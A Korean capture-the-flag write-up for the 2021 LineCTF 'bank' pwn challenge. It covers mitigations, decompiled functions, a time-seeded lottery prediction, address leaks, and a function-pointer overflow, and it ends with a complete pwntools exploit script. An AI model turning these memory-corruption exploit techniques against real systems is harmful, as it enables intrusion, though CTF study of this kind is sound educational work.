---
# System prepended metadata

title: '[2021 LineCTF] pwn - bank'

---

# [2021 LineCTF] pwn - bank
## 1. mitigation
```python=
[*] '/home/m3r0n4/pwn/dreamhack/bank/Lazenca.Bank'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```
모든 mitigation이 켜져있다.

## 2. Code
굉장히 복잡한 구조를 띄고있다. 그리고 메뉴 결정해서 가는 부분을 IDA가 제대로 hex-ray 잡지도 않고, 전부 stripped 되어있어 분석에 난항을 겪었다.
메뉴는 아래와 같다.
1. 계정 목록 출력
2. 입출금 내역
3. 계좌 이체
4. 대출
5. 복권
6. 유저 추가
7. Login / User Info
8. VIP / Logout
9. Logout

이 중 5번의 복권 번호는 srand(time(0))을 seed로 하는 rand 함수의 결과값이기 때문에, 이는 쉽게 찾을 수 있다.
```cpp=
unsigned __int64 sub_19E7()
{
  unsigned int i; // [rsp+0h] [rbp-10h]
  unsigned int j; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Enter numbers:");
  fflush(stdout);
  for ( i = 0; i <= 6; ++i )
  {
LABEL_2:
    while ( 1 )
    {
      printf("[%u] : ", i + 1);
      fflush(stdout);
      __isoc99_scanf("%u");
      while ( getchar() != 10 )
        ;
      if ( dword_6070[i] && dword_6070[i] <= 0x25u )
        break;
      puts("Please enter only numbers from 1 to 37..");
    }
    for ( j = 0; j < i; ++j )
    {
      if ( dword_6070[j] == dword_6070[i] )
      {
        puts("The number is duplicated.");
        goto LABEL_2;
      }
    }
  }
  return __readfsqword(0x28u) ^ v3;
}
```
만약에 1등 상품에 당첨되게 된다면 info를 적게 하는데, 이 부분에서 PIE Leak, libc leak이 가능하다.
```cpp=
unsigned __int64 sub_1BD6()
{
  char buf[32]; // [rsp+0h] [rbp-50h] BYREF
  char v2[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Congratulations on your winning.");
  puts("You must provide us with the information below in order to receive the prize money.");
  puts("Name : ");
  read(0, buf, 0x14uLL);
  puts("Address : ");
  fflush(stdout);
  read(0, v2, 0x20uLL);
  printf("Name : %s\n", buf);
  printf("Address : %s\n", v2);
  return __readfsqword(0x28u) ^ v3;
}
```
그리고 20회에 걸쳐 lottery를 위해 loan한 돈을 상환하게 되면, vip가 된다. VIP 메뉴는 일반적인 transfer과는 조금 다른데, 임의의 주소에 있는 함수 포인터를 실행한다. 그래서 해당 주소의 함수 포인터를 변경하기 위해서는 User의 Edit하는 부분을 이용할 수 있는데, VIP인 경우 해당 부분에서 Overflow를 시킬 수 있고, 이를 이용해 해당 함수 포인터를 one gadget으로 overwrite할 수 있다.
## 3. exploit
```python=
from pwn import *
import ctypes
#context.log_level = 'debug'
#p = remote('host3.dreamhack.games', 18208)
p = process("./Lazenca.Bank")
e = ELF('./Lazenca.Bank')
libc = e.libc
def add_user(id, pw):
    p.sendlineafter(b'Input : ', b'6')
    p.sendlineafter(b'ID : ', id.encode())
    p.sendlineafter(b'Password : ', pw.encode())

def login(id, pw):
    p.sendlineafter(b'Input : ', b'7')
    p.sendlineafter(b'ID : ', id.encode())
    p.sendlineafter(b'Password : ', pw.encode())
    
def lottery():
    l = ctypes.CDLL('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
    l.srand(l.time(0) + 0) 
    p.sendlineafter(b'Input : ', b'5')
    for _ in range(7):
        p.sendlineafter(b'] : ', str(l.rand() % 37 + 1).encode())

    p.sendafter(b'Name : ', b'A' * 0x10)
    p.sendafter(b'Address : ', b'B' * 0x18)
    p.recvuntil(b'A' * 0x10)
    libc_base = u64(p.recv(6) + b'\x00\x00') - libc.symbols['_IO_2_1_stdout_'] #0x1ec6a0
    p.recvuntil(b'B' * 0x18)
    pie_base = u64(p.recv(6) + b'\x00\x00') - 0x35F0
    return libc_base, pie_base

add_user('123', '123')
login('123', '123')
p.sendlineafter(b'Input : ', b'4')
libc_base, pie_base = lottery()
print(hex(libc_base))
print(hex(pie_base))
p.sendlineafter(b'Input : ', b'1')
p.recvuntil(b'Account number : ')
p.recvuntil(b'Account number : ')
acc = int(p.recvline())
for _ in range(20):
    p.sendlineafter(b'Input : ', b'3')
    p.sendline(str(acc).encode())
    p.sendline(b'100')
p.sendlineafter(b'Input : ', b'7')
p.sendafter(b'Input : ', b'2' + b'\x00')
p.sendline(b'A' * 55 + p64(libc_base + 0xe3b01)) #0xe6e79))
p.sendline(b'0')
p.sendline(b'8')
p.sendline(b'104289380')
p.sendline(b'0')
p.interactive()
```